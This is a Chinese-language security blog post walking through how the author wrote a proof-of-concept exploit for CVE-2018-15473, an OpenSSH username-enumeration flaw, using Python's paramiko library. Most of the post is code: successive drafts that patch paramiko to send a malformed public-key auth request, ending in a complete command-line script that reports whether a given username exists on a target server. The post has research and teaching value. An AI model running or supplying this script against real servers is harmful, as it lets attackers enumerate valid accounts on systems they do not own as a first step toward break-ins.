记一次PoC编写过程

admin 2021年8月31日10:54:30评论118 views字数 7323阅读24分24秒阅读模式

接触网络安全,vul,poc,exp这些术语肯定不陌生,之前一直没有自己写过poc,今天找了一个简单vul,实践了一次poc的编写。我选择的漏洞是:CVE-2018-15473,漏洞非常简单,描述如下:

通过向OpenSSH服务器发送一个错误格式的公钥认证请求,可以判断是否存在特定的用户名。如果用户名不存在,那么服务器会发给客户端一个验证失败的消息。如果用户名存在,那么将因为解析失败,不返回任何信息,直接中断通讯,OpenSSH 7.7 之前的版本都受影响。

分析协议,确定poc执行思路

首先用命令行工具发起一个ssh连接请求

 ssh [email protected] -i ~/.ssh/id_rsa

通过wireshark抓包分析。

记一次PoC编写过程

忽略tcp握手和ack的包,只看sshv2的包

记一次PoC编写过程

可以看到前面是DH秘钥交换,后面 Encrypted packet才是有效的ssh协议内容。手工修改还挺麻烦,并不能简单的通过抓包,修改,回放的形式做测试。

大致的验证vul的思路是:

  1. 正常的建立tcp连接

  2. 正常的完成DH秘钥交换

  3. 篡改登录认证阶报文

  4. 检测服务端的响应

PoC编写

第一步:发起一个ssh请求

因为接下来用对报文进行篡改,不能用系统自带的ssh命令,需要找一个第三方库,并且是可以hook代码的,搜索python ssh,能找到这样一个模块paramiko,进一步搜索,能找到很多demo,大致总结一下,有两种写法

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 s = paramiko.SSHClient()
 s.load_system_host_keys()
 s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 s.connect(host,port,user,pkey=paramiko.RSAKey.from_private_key_file(rsa_key))

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 t = paramiko.Transport((host, port))
 t.connect(username = user, pkey=paramiko.RSAKey.from_private_key_file(rsa_key))
 s = paramiko.SSHClient()
 s._transport = t

我选择第二种。这些第三方库都是高度封装的,但是要篡改报文,就要解封代码。第二种方法至少把建立tcp连接和完成ssh登录分开了,比第一种好拆一点点。当然第二种代码也不能直接用,t.connect做了很多操作,需要进一步拆分。

找到connect代码,在 site-packages/paramiko/transport.py 这个文件里面。搜索 def connect 能找到相关代码,去掉注释大概50行,再去掉没必要的分支,最核心的代码就两行

 self.start_client()
 self.auth_publickey(username, pkey)

结合第一段代码。就变成这样

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 t = paramiko.Transport((host, port))
 t.start_client()
 t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))

记一次PoC编写过程

通过抓包分析,paramiko.Transport完成了建立tcp连接,start_client()完成了DH秘钥交换,auth_publickey完成登陆认证,这个函数已经很聚焦了,现在要篡改认证的报文就可以从这个函数下手。

第二步:报文篡改

篡改报文的思路就是找到组装报文的函数,hook这个函数,重写相关逻辑。

跟踪auth_publickey执行过程,其中发送的报文主要是message这个类封装的,有很多地方可以篡改这个message,但是message这个类中有一个非常简单的函数 add_boolean,在整个auth_publickey 函数执行过程中被调用了两次,这个函数非常简单,修改容易,并且不会有大面积的影响。

site-packages/paramiko/message.py

     def add_boolean(self, b):
         """
        Add a boolean value to the stream.
 
        :param bool b: boolean value to add
        """
         if b:
             self.packet.write(one_byte)
         else:
             self.packet.write(zero_byte)
         return self

结合之前的代码,我们直接重写一个什么都不处理的add_boolean。可想而知,发出的报文会少两个byte,这个代码就起到篡改报文的作用了。

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 def add_boolean(*args, **kwargs):
     pass
 
 t = paramiko.Transport((host, port))
 t.start_client()
 
 paramiko.message.Message.add_boolean = add_boolean
 t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))

第三步:检测结果

上面的代码,在执行过程中会抛出异常,当用户名存在的时候,抛出的异常是

 Traceback (most recent call last):
  File "./simple_ssh.py", line 28, in <module>
    t.auth_publickey(args.user, paramiko.RSAKey.from_private_key_file(args.pkey))
  File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/transport.py", line 1507, in auth_publickey
    return self.auth_handler.wait_for_response(my_event)
  File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/auth_handler.py", line 236, in wait_for_response
    raise e
 paramiko.ssh_exception.AuthenticationException: Authentication failed.

当用户名不存在的时候,抛出的异常是

Traceback (most recent call last):
File "./simple_ssh.py", line 28, in <module>
t.auth_publickey(args.user, paramiko.RSAKey.from_private_key_file(args.pkey))
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/transport.py", line 1507, in auth_publickey
return self.auth_handler.wait_for_response(my_event)
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/auth_handler.py", line 250, in wait_for_response
raise e
paramiko.ssh_exception.AuthenticationException: Authentication failed.

可以看到,异常类型和消息都是一样的,不过堆栈信息不同。非常鲁莽的办法就是对堆栈信息做字符串检测

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 def add_boolean(*args, **kwargs):
     pass
 
 t = paramiko.Transport((host, port))
 t.start_client()
 
 paramiko.message.Message.add_boolean = add_boolean
 try:
     t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
 except paramiko.ssh_exception.AuthenticationException:
     tb = traceback.format_exc()
     if tb.find("line 236, in wait_for_response") != -1:
         print("valid user")
     else:
         print("invalid user")

到这里,PoC算是已经可运行了,但这个程序是纸糊的,paramiko代码稍有变动,就不能用了,而且可读性很差。

仔细分析auth_publickey的执行过程,发现当用户不存在的时候,会执行 _parse_userauth_failure这个函数,用户存在的时候不会执行,我们可以重写这个函数,因为不关心后续的执行,这个函数可以非常简单的重写。这个函数不是静态调用的,是通过配置动态调用的,不能用猴子补丁,需要修改配置

 host = "192.168.178.88"
 port = 22
 user = "root"
 rsa_key = "~/.ssh/id_rsa"
 
 def add_boolean(*args, **kwargs):
     pass
     
 def _parse_userauth_failure(*args, **kwargs):
     print("invalid user")
     sys.exit()
 
 t = paramiko.Transport((host, port))
 t.start_client()
 
 paramiko.message.Message.add_boolean = add_boolean
 
 paramiko.auth_handler.AuthHandler._client_handler_table.update({
     paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
 })
 
 try:
     t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
 except paramiko.ssh_exception.AuthenticationException:
 print("valid user")

这个程序可以运行,但是没有正常退出,因为paramiko是多线程运行,sys.exit() 无效。可以通过抛出异常的方式退出

host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"

def add_boolean(*args, **kwargs):
pass

def _parse_userauth_failure(*args, **kwargs):
print("invalid user")
raise Exception()

t = paramiko.Transport((host, port))
t.start_client()

paramiko.message.Message.add_boolean = add_boolean

paramiko.auth_handler.AuthHandler._client_handler_table.update({
paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
})

try:
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
except paramiko.ssh_exception.AuthenticationException:
print("valid user")
except Exception:
sys.exit()

这个程序能正常退出了,但是有一个不和谐的打印

No handlers could be found for logger "paramiko.transport"

为什么会出现这个信息呢,因为_parse_userauth_failure中抛出的异常,被paramiko.transport的其他代码捕获,它想输出错误信息到log,但是没有找到相关的log handler。我们可以通过添加以下代码,完成log handler设置

 import logging
 logging.basicConfig()

这样会真输出错误日志,不过这里我们不关心错误日志,我们只是想用抛出异常的方式退出程序,可以给一个null handler,让错误信息不输出

 import logging
 logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

到这里草稿版的PoC就完成了。再加上命令行参数处理,host,user等信息从命令行获取,因为我们并不打算真的登录到什么机器,所以rsa_key并不真的需要从文件load,直接生成一个新的就行。最终代码如下:

 import paramiko
 import argparse
 import sys
 import logging
 logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
 
 arg_parser = argparse.ArgumentParser()
 arg_parser.add_argument('--host', type=str, required=True)
 arg_parser.add_argument('--port', type=int, default=22)
 arg_parser.add_argument('--user', type=str, required=True)
 args = arg_parser.parse_args()
 
 def add_boolean(*args, **kwargs):
     pass
 
 def _parse_userauth_failure(*args, **kwargs):
     print("invalid user")
     raise Exception()
 
 t = paramiko.Transport((args.host, args.port))
 t.start_client()
 
 paramiko.message.Message.add_boolean = add_boolean
 
 paramiko.auth_handler.AuthHandler._client_handler_table.update({
     paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
 })
 
 try:
     t.auth_publickey(args.user, paramiko.RSAKey.generate(2048))
 except paramiko.ssh_exception.AuthenticationException:
     print("valid user")
 except Exception:
     sys.exit()


总结

PoC程序因为要构建畸形的请求,免不了对正常库代码做比较大的改动,而且PoC并不需要非常稳定的运行,改动过程中很容易考虑不全面,所有从网上下载的PoC,有些不能运行也属于正常现象,PoC只能是在特定版本,特定环境下可以运行。

编写过程中还出现了一些小意外。

paramiko依赖cryptography,通过pip install paramiko的方式安装,会安装paramiko和cryptography最新的库,这种最新组合,很容易出现不兼容,我们最好先装cryptography,后装paramiko,并且指定版本。

 pip install cryptography==2.4.2
 pip install paramiko==2.4.2


按照漏洞的说明 openssh 7.7以前的版本都受到影响,但是我测试树莓派的时候失败了,树莓派中安装的版本是7.4,不管输入什么用户名。都提示有效用户。目前还没研究这个版本的openssh和centos中的差别。

转自三环十二少。

本文始发于微信公众号(乌雲安全):记一次PoC编写过程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月31日10:54:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次PoC编写过程https://cn-sec.com/archives/486922.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息